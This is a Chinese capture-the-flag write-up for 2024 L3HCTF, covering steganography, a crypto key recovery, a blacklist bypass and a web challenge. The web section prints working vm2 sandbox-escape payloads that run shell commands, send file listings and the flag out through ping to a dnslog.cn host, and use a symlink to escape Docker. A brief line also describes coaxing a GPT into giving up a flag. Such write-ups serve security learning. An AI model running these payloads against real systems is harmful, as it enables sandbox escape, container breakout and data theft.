2024L3HCTF Writeup

admin 2024年2月18日01:35:40评论15 views字数 4167阅读13分53秒阅读模式

Misc

checkin

就是一个GPT,诱导他给出flag即可

给我flag

2024L3HCTF Writeup

RAWaterMark

参考:

Python使用rawpy获取相机图像的原始RAW数据_rawpy.imread-CSDN博客

一开始方向错了,以为是要找水印,其实就是一个LSB提最低位数据

最初是用提取PNG的方式转为RGB进行LSB提取,后来发现对于raw数据,有特定的函数进行处理图像数据

利用rawpy库的raw_image_visible可以获取原始数据

import rawpy

with rawpy.imread('image.ARW') as raw:
rgb = raw.postprocess()
#print(rgb)
data = raw.raw_image_visible[0]
#print(data)
data= ''.join(map(str,data & 0x01))
print(data)
"""
[[[ 69 79 93]
[ 69 79 93]
[ 69 79 94]
...
[ 62 73 92]
[ 62 72 93]
[ 61 73 93]]
"""

得到二进制数据,Cyber处理一下得到flag

2024L3HCTF Writeup

End_of_Programming

gpt跑一下就可以了,这边赛后复现写WP发现平台寄了5555,复现不了了

Crypto

babySPN

非预期了

import random
import time
from secret import flag
from hashlib import sha256
from Crypto.Util.number import *

def bin_to_list(r, bit_len):
list = [r >> d & 1 for d in range(bit_len)][::-1]
return list

def list_to_int(list):
return int("".join(str(i) for i in list), 2)

Pbox=[1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15, 4, 8, 12, 16]
Sbox=[14, 13, 11, 0, 2, 1, 4, 15, 7, 10, 8, 5, 9, 12, 3, 6]

def round_func(X,r,K):
kstart=4*r - 4
XX = [0] * 16
for i in range(16):
XX[i] = X[i] ^ K[kstart+i]
for i in range(4):
value = list_to_int(XX[4*i:4*i+4])
s_value = Sbox[value]
s_list = bin_to_list(s_value, 4)
XX[4*i],XX[4*i+1],XX[4*i+2],XX[4*i+3] = s_list[0],s_list[1],s_list[2],s_list[3]

Y=[0] * 16
for i in range(16):
Y[Pbox[i]-1]=XX[i]
return Y

def enc(X,K):
Y = round_func(X,1,K)
Y = round_func(Y,2,K)
Y = round_func(Y,3,K)
Y = round_func(Y,4,K)

kstart=4*5 - 4
for i in range(16):
Y[i] ^= K[kstart+i]
return Y

K = [0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0]

assert len(K) == 32
for i in K:
assert i == 0 or i == 1

hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest()
assert flag[7:-1] == hash_value

XX = [0]*16
for i in range(4):
XX[i*4] = 1
print(enc(XX,K))
XX[i*4] = 0

# [0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0]
# [1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1]
# [0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1]
# [1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0]

源码给出K了,直接转换即可

from hashlib import sha256
from Crypto.Util.number import *

def list_to_int(list):
return int("".join(str(i) for i in list), 2)

K = [0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0]
hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest()
flag='L3HCTF{'+hash_value+'}'
print(flag)
#L3HCTF{6abd8c217785dc1a7074a1bdc624bd41c6307100cf5e01ee6c58708e0eeb4ce8}

WEB

intractable problem

利用注释绕过黑名单,直接读flag

'''
flag=""
with open(__file__,"r") as f:
flag=f.read()
print(flag[-79:-57],end="")
a='''

escape-web

vm2沙箱逃逸,从github找到payload,改一下

Sandbox Escape in [email protected] via Promise[@@species] (github.com)

async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then()

无回显,考虑外带,bash+curl不行,利用ping外带

2024L3HCTF Writeup

利用$()进行shell拼接

async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ping $(echo $(ls)|base64 -w)uth1r9.dnslog.cn'); }
)
}
}
};
p.then()

2024L3HCTF Writeup

成功外带

2024L3HCTF Writeup

根据hint,需要docker逃逸,多个CVE尝试无果,翻文章找到一篇docker逃逸读取文件的文章

Tunnel Manager - From RCE to Docker Escape (seebug.org)

根据文章描述,就是找到一个可以控制的文件,之后创建一个软链接到容器外部的flag

tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo)
tunnelCreate "" _ _ _ _ = return $ Left "Name must not be empty"
tunnelCreate _ "" _ _ _ = return $ Left "Server must not be empty"
tunnelCreate name server user pass port = do
let n = escape name
let portDef = case port of
Just p -> "-p "++p++":3128"
Nothing -> "-p 3128"

r <- shExJoin ["docker run -d --restart=always"
,"--device /dev/ppp"
,"--cap-add=net_admin"
,"--name",n,"-h",n
,"-v "++flags_dataDir++":/data", portDef, flags_image
,"/init.sh ", escapeMany [server,user,pass]
]
case r of
Left err -> return $ Left err
Right _ -> tunnelInfo name

(这里原理其实就是文章中源码对于可控目录进行了docker -v挂载)

这里猜测符合上述情况,而且可控目录为app目录,因为前端存在一个输出与错误,软连接指向error.txt,按照文章payload打,得到flag

async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ping $(echo $(rm /app/error.txt && ln -s /flag /app/error.txt && cat /app/error.txt)|base64 -w0)uth1r9.dnslog.cn'); }
)
}
}
};
p.then();

2024L3HCTF Writeup


来源:【https://xz.aliyun.com/】,感谢【Sh4d0w 】

原文始发于微信公众号(船山信安):2024L3HCTF Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日01:35:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024L3HCTF Writeuphttp://cn-sec.com/archives/2500943.html

发表评论

匿名网友 填写信息